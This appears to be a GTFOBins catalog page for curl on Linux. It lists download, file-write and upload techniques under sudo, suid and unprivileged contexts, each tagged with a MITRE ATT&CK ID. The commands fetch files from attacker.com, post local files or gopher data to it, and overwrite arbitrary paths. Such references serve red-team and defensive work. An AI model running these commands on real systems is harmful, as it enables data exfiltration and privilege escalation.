Catalog GTFOBins

GTFO · Tool

curl

21 techniques LinuxGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation Linux
curl http://attacker.com/path/to/input-file -o /path/to/output-file
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation Linux
curl http://attacker.com/path/to/input-file -o /path/to/output-file
Context
suid
Native
download
MITRE
T1105

file-write

File WritePrivilege Escalation Linux
echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation Linux
echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write Linux
echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file
Context
unprivileged
Native
file-write
MITRE
T1565

upload

File UploadPrivilege Escalation Linux
curl -X POST --data-binary @/path/to/input-file http://attacker.com
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation Linux
curl -X POST --data-binary @/path/to/input-file http://attacker.com
Context
suid
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation Linux

Data will be `\r\n` terminated.

curl gopher://attacker.com:12345/_DATA
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation Linux

Data will be `\r\n` terminated.

curl gopher://attacker.com:12345/_DATA
Context
suid
Native
upload
MITRE
T1041